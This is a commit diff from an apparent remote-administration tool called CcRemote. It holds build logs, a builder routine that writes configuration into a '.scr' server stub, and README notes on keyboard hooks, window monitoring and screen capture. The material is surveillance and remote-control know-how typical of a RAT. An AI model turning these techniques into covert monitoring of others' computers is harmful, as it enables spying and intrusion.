WIN32_FIND_DATA findData; // 查找到的文件信息结构
char dirTmp[MAX_PATH] = { 0 };
strcpy(dirTmp, dir);
strcat(dirTmp, "*.scr"); // 使用通配符,和传入参数组成一个待遍历的路径
DWORD sizes;
CString fileList; //此处用string就会使存入值变为乱码所以用CString
h = FindFirstFileA(dirTmp, &findData); //开始遍历
do {
if (findData.dwFileAttributes&_A_SUBDIR || findData.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY || strcmp(findData.cFileName, ".") == 0 || strcmp(findData.cFileName, "..") == 0)
{
//log(INFO,"是目录,目录名:%s",findData.cFileName);
}
else
{
WriteFile(h, lpBuffer, lpSize,&sizes, NULL);
FindClose(h);
fileList=(findData.cFileName); // 绝对路径存入vector(其实就是一个数组)
return "F:\\myapp\\CcRemote\\bin\\server\\" + fileList;
}
} while (FindNextFileA(h, &findData));
CString a = "null";
FindClose(h);
return a;
}

View File

@ -27,5 +27,4 @@ public:
CString m_strPort;
private:
int memfind(const char *mem, const char *str, int sizem, int sizes);
CString FindFiles(const char* dir, BYTE *lpBuffer, DWORD lpSize);
};

View File

@ -1,40 +1,3 @@
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.pch
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.pdb
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.idb
f:\myapp\ccremote\ccremote\ccremote\debug\pch.obj
f:\myapp\ccremote\ccremote\ccremote\debug\audio.obj
f:\myapp\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
f:\myapp\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
f:\myapp\ccremote\ccremote\ccremote\debug\regdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\inputdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\inifile.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cpuusage.obj
f:\myapp\ccremote\ccremote\ccremote\debug\csystemdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cshelldlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\csettingdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cserverdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\ckeyboarddlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\chelpwindow.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cfilemanagerdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cbuilddlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\caudiodlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\iocpserver.obj
f:\myapp\ccremote\ccremote\ccremote\debug\buffer.obj
f:\myapp\ccremote\bin\ccremote.ilk
f:\myapp\ccremote\bin\ccremote.exe
f:\myapp\ccremote\bin\ccremote.pdb
f:\myapp\ccremote\ccremote\ccremote\debug\cbuilddlg.obj.enc
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.res
f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog

View File

@ -1,4 +1,18 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
pch.cpp
Audio.cpp
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
CAudioDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CBuildDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(106): warning C4244: “=”: 从“ULONGLONG”转换到“DWORD”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(88): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(138): warning C4101: “e”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(142): warning C4101: “e”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(146): warning C4101: “e”: 未引用的局部变量
CcRemote.cpp
CcRemoteDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(173): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
@ -9,4 +23,71 @@ f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(358): warning C4244: “初
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(899): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(987): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CFileManagerDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(81): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(360): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(361): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(861): warning C4101: “VolName”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(862): warning C4101: “FileSystem”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1123): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1153): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1571): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1605): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1647): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1741): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1901): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: “初始化”: 从“float”转换到“int”可能丢失数据
CHelpWindow.cpp
CKeyBoardDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\ckeyboarddlg.cpp(27): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CServerDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cserverdlg.cpp(56): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
FileTransferModeDlg.cpp
CScreenSpyDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
CSettingDlg.cpp
CShellDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(204): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(214): warning C4018: “<”: 有符号/无符号不匹配
CSystemDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CpuUsage.cpp
IniFile.cpp
f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
InputDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(124): warning C4996: 'wcscpy': This function or variable may be unsafe. Consider using wcscpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\corecrt_wstring.h(123): note: 参见“wcscpy”的声明
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(159): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
RegDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(249): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(270): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
SEU_QQwry.cpp
TrueColorToolBar.cpp
正在生成代码...
Buffer.cpp
IOCPServer.cpp
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(727): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(776): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(924): warning C4018: “>=”: 有符号/无符号不匹配
正在生成代码...
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe

View File

@ -1,41 +1,2 @@
f:\myapp\ccremote\bin\ccremote.ipdb
f:\myapp\ccremote\bin\ccremote.iobj
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.pch
f:\myapp\ccremote\ccremote\ccremote\release\vc141.pdb
f:\myapp\ccremote\ccremote\ccremote\release\pch.obj
f:\myapp\ccremote\ccremote\ccremote\release\iocpserver.obj
f:\myapp\ccremote\ccremote\ccremote\release\buffer.obj
f:\myapp\ccremote\ccremote\ccremote\release\audio.obj
f:\myapp\ccremote\ccremote\ccremote\release\truecolortoolbar.obj
f:\myapp\ccremote\ccremote\ccremote\release\seu_qqwry.obj
f:\myapp\ccremote\ccremote\ccremote\release\regdlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\inputdlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\inifile.obj
f:\myapp\ccremote\ccremote\ccremote\release\cpuusage.obj
f:\myapp\ccremote\ccremote\ccremote\release\csystemdlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\cshelldlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\csettingdlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\cscreenspydlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\filetransfermodedlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\cserverdlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\ckeyboarddlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\chelpwindow.obj
f:\myapp\ccremote\ccremote\ccremote\release\cfilemanagerdlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\ccremotedlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.obj
f:\myapp\ccremote\ccremote\ccremote\release\cbuilddlg.obj
f:\myapp\ccremote\ccremote\ccremote\release\caudiodlg.obj
f:\myapp\ccremote\bin\ccremote.exe
f:\myapp\ccremote\bin\ccremote.pdb
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.res
f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\ccremote.write.1u.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.write.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.write.1.tlog

View File

@ -14,16 +14,12 @@ f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(924): warning C4018:
f:\myapp\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CBuildDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(87): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(88): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(105): warning C4244: “=”: 从“ULONGLONG”转换到“DWORD”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(137): warning C4101: “e”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(141): warning C4101: “e”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(145): warning C4101: “e”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(173): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(174): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(106): warning C4244: “=”: 从“ULONGLONG”转换到“DWORD”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(138): warning C4101: “e”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(142): warning C4101: “e”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(146): warning C4101: “e”: 未引用的局部变量
CcRemote.cpp
CcRemoteDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(173): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
@ -93,7 +89,7 @@ f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(270): warning C4996: 'sprintf': T
SEU_QQwry.cpp
TrueColorToolBar.cpp
正在生成代码
All 824 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
All 823 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void * __cdecl operator new(unsigned int)" (??2@YAPAXI@Z) 已在 LIBCMTD.lib(new_scalar.obj) 中定义;已忽略第二个定义
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void __cdecl operator delete(void *)" (??3@YAXPAX@Z) 已在 LIBCMTD.lib(delete_scalar.obj) 中定义;已忽略第二个定义

131
README.md
View File

@ -169,21 +169,21 @@ static bool EnumAllMemoryBlocks(HANDLE hProcess, OUT vector<MEMORY_BASIC_INFORMA
/*
typedef struct _SYSTEM_INFO {
union {
DWORD dwOemId; // 兼容性保留
DWORD dwOemId; // 兼容性保留
struct {
WORD wProcessorArchitecture; // 操作系统处理器体系结构
WORD wReserved; // 保留
WORD wProcessorArchitecture; // 操作系统处理器体系结构
WORD wReserved; // 保留
} DUMMYSTRUCTNAME;
} DUMMYUNIONNAME;
DWORD dwPageSize; // 页面大小和页面保护和承诺的粒度
LPVOID lpMinimumApplicationAddress; // 指向应用程序和dll可访问的最低内存地址的指针
LPVOID lpMaximumApplicationAddress; // 指向应用程序和dll可访问的最高内存地址的指针
DWORD_PTR dwActiveProcessorMask; // 处理器掩码
DWORD dwNumberOfProcessors; // 当前组中逻辑处理器的数量
DWORD dwProcessorType; // 处理器类型,兼容性保留
DWORD dwAllocationGranularity; // 虚拟内存的起始地址的粒度
WORD wProcessorLevel; // 处理器级别
WORD wProcessorRevision; // 处理器修订
DWORD dwPageSize; // 页面大小和页面保护和承诺的粒度
LPVOID lpMinimumApplicationAddress; // 指向应用程序和dll可访问的最低内存地址的指针
LPVOID lpMaximumApplicationAddress; // 指向应用程序和dll可访问的最高内存地址的指针
DWORD_PTR dwActiveProcessorMask; // 处理器掩码
DWORD dwNumberOfProcessors; // 当前组中逻辑处理器的数量
DWORD dwProcessorType; // 处理器类型,兼容性保留
DWORD dwAllocationGranularity; // 虚拟内存的起始地址的粒度
WORD wProcessorLevel; // 处理器级别
WORD wProcessorRevision; // 处理器修订
} SYSTEM_INFO, *LPSYSTEM_INFO;
*/
@ -193,9 +193,9 @@ static bool EnumAllMemoryBlocks(HANDLE hProcess, OUT vector<MEMORY_BASIC_INFORMA
while (p < sysInfo.lpMaximumApplicationAddress) {
// 获取进程虚拟内存块缓冲区字节数
size_t size = VirtualQueryEx(
hProcess, // 进程句柄
p, // 要查询内存块的基地址指针
&memInfo, // 接收内存块信息的 MEMORY_BASIC_INFORMATION 对象
hProcess, // 进程句柄
p, // 要查询内存块的基地址指针
&memInfo, // 接收内存块信息的 MEMORY_BASIC_INFORMATION 对象
sizeof(MEMORY_BASIC_INFORMATION32) // 缓冲区大小
);
if (size != sizeof(MEMORY_BASIC_INFORMATION32)) { break; }
@ -204,7 +204,7 @@ static bool EnumAllMemoryBlocks(HANDLE hProcess, OUT vector<MEMORY_BASIC_INFORMA
if (memInfo.Protect == PAGE_EXECUTE_READWRITE)
if (memInfo.State == MEM_COMMIT)
if (memInfo.Type == MEM_PRIVATE)
memories.push_back(memInfo);// 将内存块信息追加到 vector 数组尾部
memories.push_back(memInfo); // 将内存块信息追加到 vector 数组尾部
// 移动指针
p += memInfo.RegionSize;
@ -331,9 +331,13 @@ __in HINSTANCE hMod, \\ 实例句柄 (包含钩子函数的模块句柄)
__in DWORD dwThreadId); \\ 线程ID (指定监视的线程,如果指定确定的线程,即为线程专用钩子;如果指定为空,即为全局钩子。)
```
几点需要说明的地方:
  1 如果对于同一事件(如键盘消息)既安装了线程钩子又安装了系统钩子,系统会优先调用线程钩子,然后调用系统钩子。
  2 对同一事件消息可安装多个钩子处理过程,这些钩子处理过程形成了钩子链。处理顺序是先安装的后处理,后安装的先处理。
  3 钩子特别是系统钩子会消耗消息处理时间,降低系统性能。只有在必要的时候才安装钩子,在使用完毕后要及时卸载。
###### 定义钩子回调
LRESULT CALLBACK HookProc(int nCode ,WPARAM wParam,LPARAM lParam)
@ -352,6 +356,101 @@ __in DWORD dwThreadId); \\ 线程ID (指定监视的线程,如果指定确
值得注意的是线程钩子和系统钩子的钩子函数的位置有很大的差别。
线程钩子一般在当前线程或者当前线程派生的线程内,而系统钩子必须放在独立的动态链接库中。
#### 6 窗口监控
EnumWindows可以遍历当前屏幕上所有的父窗口创建lpEnumFunc回调函数遍历每一个顶层窗口
```c
BOOL EnumWindows( // 枚举桌面上的所有窗口
_In_ WNDENUMPROC lpEnumFunc, // 回调函数,自己定义 当枚举到窗口时系统就会调用这个函数
_In_ LPARAM lParam // 向回调函数传递的一个参数
);
```
回调函数的返回值必须为TRUE才能保证系统会依次遍历每一个窗口。如果返回值非TRUE则在当前窗口后不会进行后续的遍历动作。
```c
BOOL CALLBACK EnumWindowsProc( // 回调函数的定义
_In_ HWND hwnd, // 系统传递进来的窗口句柄
_In_ LPARAM lParam // 传递进来的那个参数
);
```
GetWindowText、GetWindowThreadProcessId可以通过遍历到的HWND得到对应window的Title、PID
不过这里有个问题在我自己写的demo调用dll枚举窗口时遍历获取信息没有发生问题当使用rundll32调用导出出现了问题
在某一个窗口句柄调用GetWindowText时出现阻塞无法返回。
经过调试分析发现:
调用GetWindowText的进程 == 目标窗口所属于的进程 && 调用GetWindowText的线程 != 目标窗口所属于的线程
此时 GetWindowText将发送WM_GETTEXT消息至目标窗口所在的线程线程响应此消息返回窗口标题。如果目标窗口所在的线程刚好此时无法响应消息则会导致GetWindowText一直处于阻塞状态直到目标窗口所在进程响应了消息才会得到返回。就会出现没有反应或卡死的情况。
解决方案就是调用GetWindowText时判断目标窗口所在进程和线程ID,使用InternalGetWindowText替换GetWindowText
当目标窗口所在进程ID == 调用者所在进程ID && 目标进程所在线程ID != 调用者所在线程ID时->InternalGetWindowText替换GetWindowText
#### 7 桌面监控
```c
HDC CreateDC( // 得到指定设备名的设备描述表
LPCTSTR lpszDriver, // driver name // 设备名
LPCTSTR lpszDevice, // device name // 特殊设备名
LPCTSTR lpszOutput, // not used; should be NULL // 通常设置为NULL
CONST DEVMODE* lpInitData // optional printer data // 驱动程序的初始化DEVMODE结构指针
);
HDC CreateCompatibleDC( // 为设备描述表创建兼容的内存设备描述表
HDC hdc // handle to DC // 设备句柄
);
int GetDeviceCaps( // 得到指定设备的信息
HDC hdc, // handle to DC // 设备句柄
int nIndex // index of capability // 指定要得到那个方面的信息
);
HBITMAP CreateCompatibleBitmap( // 创建一个与设备描述表兼容的位图
HDC hdc, // handle to DC // 设备描述表
int nWidth, // width of bitmap, in pixels // 位图的宽度
int nHeight // height of bitmap, in pixels // 位图的高度
);
HGDIOBJ SelectObject( // 把对象选到内存设备描述表中
HDC hdc, // handle to DC // 设备描述表
HGDIOBJ hgdiobj // handle to object // 要加入的对象
);
BOOL BitBlt( // 对指定的原设备环境区域中的像素进行位块转换 抓图
HDC hdcDest, // handle to destination DC // 设备对象
int nXDest, // x-coord of destination upper-left corner // 目标矩型区域的左上角x坐标
int nYDest, // y-coord of destination upper-left corner // 目标矩形区域的左上角y坐标
int nWidth, // width of destination rectangle // 目标巨型区域的逻辑宽度
int nHeight, // height of destination rectangle // 目标巨型区域的逻辑高度
HDC hdcSrc, // handle to source DC // 源设备句柄
int nXSrc, // x-coordinate of source upper-left corner // 源矩型区域的左上角x坐标
int nYSrc, // y-coordinate of source upper-left corner // 源矩型区域的左上角y坐标
DWORD dwRop // raster operation code // 光栅操作代码
);
// 为屏幕创建设备描述表
hscrdc = CreateDC("display", NULL, NULL, NULL);
// 为屏幕设备描述表创建兼容的内存设备描述表
hmemdc = CreateCompatibleDC(hscrdc);
// 获得屏幕分辨率
xscrn = GetDeviceCaps(hscrdc, HORZRES);
yscrn = GetDeviceCaps(hscrdc, VERTRES);
// 创建一个与屏幕设备描述表兼容的位图
hbitmap = CreateCompatibleBitmap(hscrdc, nwidth, nheight);
// 把新位图选到内存设备描述表中
holdbitmap = (HBITMAP)SelectObject(hmemdc, hbitmap);
// 把屏幕设备描述表拷贝到内存设备描述表中
BitBlt(hmemdc, 0, 0, nwidth, nheight,hscrdc, nx, ny, SRCCOPY);
// 得到屏幕位图的句柄
hbitmap = (HBITMAP)SelectObject(hmemdc, holdbitmap);
```
#### active启动方式
win7 64下

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.